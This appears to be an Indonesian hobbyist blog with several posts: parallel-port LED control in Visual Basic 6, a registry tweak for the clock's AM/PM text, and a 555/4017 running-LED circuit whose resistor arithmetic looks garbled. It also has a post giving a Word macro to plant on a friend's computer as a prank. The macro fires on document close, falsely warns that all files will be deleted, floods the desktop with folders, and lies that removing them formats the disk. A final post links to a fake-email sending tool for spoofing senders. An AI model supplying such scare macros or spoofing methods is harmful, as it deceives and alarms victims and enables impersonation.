Selasa, 06 April 2010

Pemberitahuan

Pemberitahuan, mohon maaf jika anda sebelumnya Anda pernah menemukan postingan ini di http:\\www.studyoffriendship6.blogspot.com...Alamat berganti ke link ini.

Menyalakan Lampu ruangan dengan program

Disini saya akan mencoba berbagi pengalaman tentang bagaimana mengontrol lampu ruangan dengan menggunakan komputer. secara otomatis lampu ruangan akan menyala apabila sebuah tombol di program kita tekan. kenapa bisa begitu? tekniknya adalah dengan cara mengirim sinyal ker paralel dengan menggunakan program. Tidak usah cemas membuat programnya cukup sederhana dan mudah dibuat. kita siapkan terlebih dahulu Visual Basic 6.0, kemudian file inpout32.dll, tentunya untuk peralatan adalah kabel parallel (kabel untuk printer), sebuah LED untuk simulasi, kemudian resistror 47 K sebagai tahanan supaya LED tidak putus karena arus yang terlalu besar yang diberikan. Nah kita mulai ke pembuatan program. Buka Visual Basic 6.0, kemudian buat sebuah project hingga tampil sebuah form, masukan komponen command, kemudian kita bisa merubahnya dengan mengklik tab properties caption dan masukan kata yang diingankan misalnya "Nyala", dan buat lagi sebuah tombol (command) dan beri nama "Mati".
Nah sekarang klik Project>> module salin code di bawah ini ke dalam modul tersebut atau seperti gambar di bawah ini.

Public Declare Sub out Lib "inpout32.dll" Alias "Out32" (ByVal PortAddress As Integer, ByVal values As Integer)

kemudian klik dua kali pada tombol "Nyala" dan ketikan code berikut

Out 888, 255

kemudi pada tombol "Mati" ketikan code berikut


Out 888, 0

Nah kode yang pertama "Out 888, 255" ini adalah perintah untuk mengirimkan sinyal dengan tujuan 888. 888 adalah alamat dari port paralale,bisa kita ketahui dengan cara masuk ke device manager klik pada Port (COM & LPT) kemudian klik kanan properties klik pada tab Resource, nah disana kita bisa mengetahui nomor port dari sebuah paralale pada resource setting I/O Range = 0378, nah 0378 adalah bentuk bilangan Hexa, maka harus kita ubah ke bentuk bilangan decimal caranya jika kita tidak bisa menghitungnya sendiri gunkanan kalkulator dari windows klik start >> run ketikan calc,klik view >> Secientific nah klik pada Hexa masukan nilai yang akan kita ubah dan klik Decimal, nah hasilnya adalah 888. Nilai 378 tidaklah mutlak, artinya terkadang alamt port dari parallel itu tidak sama 378, saya juga belum tahu tapi menurut pengalaman saya membuat program ini di Windows Xp dan digunakan di windows 98 ternya tidak bekerja, setlah saya lihat alamat port parallelnya ternyata bukan 378.
Nah sebetulnya sudah selesai pembuatan program ini, jangan lupa menyalin file inpout32.dll yang telah di download sebelumnya ke direktori c:\windows\system32.
Kenapa tadi saya mengetikan angka 255. Jika anda ingin mengerti coba ubah nilai 255 ke bentuk biner dengan menggunakna kalkulator, maka hasilnya adalah 11111111 (8 bit angka 1). Lihat pada gambar port parallel terdapat pin 2-9 adalah D0-D7, berarti ada 8 buah pin output yang dapat digunakan coba bandingkan dengan nilai 11111111. Jika nilainya 11111111 berarti D0-D7 akan menyala tetapi jika 00000000 maka semua pin mati, jika 10000000 maka hanya D7 yang menyala. nah sekarang tergantung anda pin manasaja yang akan anda nyalakan, dengan cara mengubah nilai bilanan biner seperti di atas ke bentuk desimal kemudian masukan ke kode program.
Contoh jika biner 00000001 maka hanya pin 1 saja yang dialiri arus, 00000010 maka pin 2 yang diberi arus dan seterusnya.
Contoh disamping adalah kita mengirim biner 00111111 maka LED yang menyala adalah seperti pada gambar yaitu pin 2-7 seperti gambar disamping.
Untuk menjadikan program yang telah kita buat ini menjadi file executible, file yang dapat langsung dijalankan tanpa proses instal klik FIle >> Make. Nah selamat mencoba...

Jailin komputer orang dengan Virus Macri

Terkadang kita juga bisa kesel ya sama temen sendiri, gak usah dengan kekerasan dengan buat dia panik sedikit za itu uda bisa puas...Ok aku akan beri tau bagaimana cara menjaili komputer orang dengan virus macro di microsoft word. Caranya copy dan paste code di bawah ini pada jendela macro. caranya masuk ke Ms. Word klik tool => macro => visual basic editor lalu paste code di bawah kotak di samping yang ada kata general pada atasnya lalu save dengan nama normal atau apa lah terserah. Reaksinya jika word tersebut di tutup maka akan ada pesan bahwa komputer anda terkena virus kejam dan anda memiliki 10 detik untuk menyelamatkan data anda. Dan di desktop akan tampil sederetan folder yang memenuhi desktop. Coba dec....

Nich codenya

Private Sub Document_Close()
On Error Resume Next
MsgBox "Komputer anda terinfeksi virus ganas segera amankan dokumen anda, dalam 10 detik seluruh file akan terhapus", vbCritical, "Virus Founded"
For n = 01 To 60
MkDir "C:\Documents and Settings\All Users\Desktop\Virus Kejam" & n
Next n
MsgBox "Jika pada Desktop anda Muncul banyak Folder Jangan Dihapus, kalau dihapus sama saja dengan meformat harddisk anda", vbInformation, "Saran dari programmer"
End Sub

Selamat mencoba

Merubah PM/AM jam

Terkadang kita bosan dengan tampilan jam pada sytray yang akhirannya PM/AM, bisa gak kita rubah dengan bahasa sunda atau apa saja yang kita mau. Terynata bisa dan gampang juga kalo kita pengen ngerubah dengan kata semau kita. Mau tau...masuk az ke regedit Star=>run (ketikan regedit) lalu OK. Masuk ke HKEY_CURRENT_USER\Control Panel\International lalu double klik s2359 dan isikan apa yang anda ingin dan juga pada s1159. Kemudian logoff komputer dan masuk kembali lihat perubahan yang terjadi selamat mencoba...

Lampu Berjalan (Runing LED)

Buat yang mau pasang lampu hias di motor gak usah mahal-mahal beli mending buat sendiri nich aku bikin running LED yaitu LED yang nyala seperti berlari (kaya kuda saja...) dari LED 1 sampai LED 10. Mau tau bikinnya kaya gimana, siapin dulu donk komponennya cukup murah kok gak nyampe 10rb lah kalo beli jadi kemarin mesti 25rb kalo bisa sendiri kan gak usa mahal-mahal lebih bangga lahi.

1. IC 2 = 4017
2. IC 1 = 555
3. C1 = 33uF
4. C2 = 22nF
5. Potensio 20K
Sebenarnya bukan Q1-Q4 masih bisa di tambah kalo gak salah sampe Q10 lebih jelasnya cari saja data sheet IC 4017 kalo harga IC Cuma 3500 perak lah, IC 555 Cuma 5rb yah cukup deh 10rb buat beli es cendol di pake dulu he...he.... Kalo kita lihat di rangkaian LED nantinya akan menyala dari a sampai d, a’ sampai d’. mau tau cara kerjanya, pertama kita bahas IC 4017 dulu ya…pada IC 4017 jika pin 14 disulut maka Q1 akan menyala, dan pada sulutan yang kedua Q2 lah yang menyala dst. Disini IC 555 lah yang berperan membangkitkan sulutan tersebut. Dalam rangakaian awalnya dari flip-flop gimana mau tau?
Dalam 555 ada rumus
1 Hertz itu 1 getaran per detik kalo gak salah jadi kalo kita mau bikin kedipan LED pada pin 3 satu kali dalam satu detik kita masukin saja rumus tadi
f= 1Hz, kita coba saja dengan C 1uF, Ra 1k, tinggal kita cari Rb .


maka
1 x 103+2Rb x 1 x 10-3= 1.44/1
1 x 103+2Rb x1 x 10-3= 1.44
1 x 103+2Rb=1440x10-3/1 x 10-3
1 x 103+2Rb=1440
2Rb=1440– 1 x 103
2Rb=440
Rb= 440/2
Rb=220 ohm default

Jika kita pasang LED pada pin 3 ke positif maka akan berkedip 1 kali dalam 1 detik karena frekuensi yang dihasilkan 1 Hz kalo 2Hz ya 2x kedip dalam 1 detik artiya jarak kedipan pertama dengan yang kedua berjarak 0.5 detik. Rangkaian yang di atas hitung saja sendiri yang nich teorinya doang, potensio berfungsi sebagai pengendali kecepatan berlainya kuda itu (eh kuda maksudnya LED), uda tau teorinya baru pasang dech pin 3 dari IC 555 ke pin 14 dari IC 4017 coba dech lihat LED akan berjalan dari Q1,Q2,Q3,Q,4,Q5-Q10 dengan jarak 1 detik antara LED tersebut, tapi karna yang dipasang hanya 4 LED untuk kembali ke LED 1 agak lama karena menunggu LED 5 dst yang kita tidak pasang tadi untuk menyala. Jadi ya terserah mau dipasangin LED semuanya lebih bagus tuh cumin aku males saja masanginnya he…e…yang pasti kaki-kaki IC yang nggak kepake itu tinggal diurutin soalnya kakinya ngacak gak berurutan tar nyala LEDnya amburadul lagi, atau yang gampang saja cari data sheet IC 4017.

Email Palsu

Pernah tidak kamu mendapatkan email yang aneh...contoh agus@agussopian.com
Wah keren agus sopian sudah punya domain sendiri..
sebenarnya itu adalah email palsu yang dikirim seseorang kepada kamu.
Mau tau caranya masuk ke http://cruzenaldo.com/tools/fake_email.php nah isi email tujuan dan email palsu anda.
Aku dapat ini dari www.jasakom.com mudah-mudahan manfaat jangan pake maksiat...wkwkkw...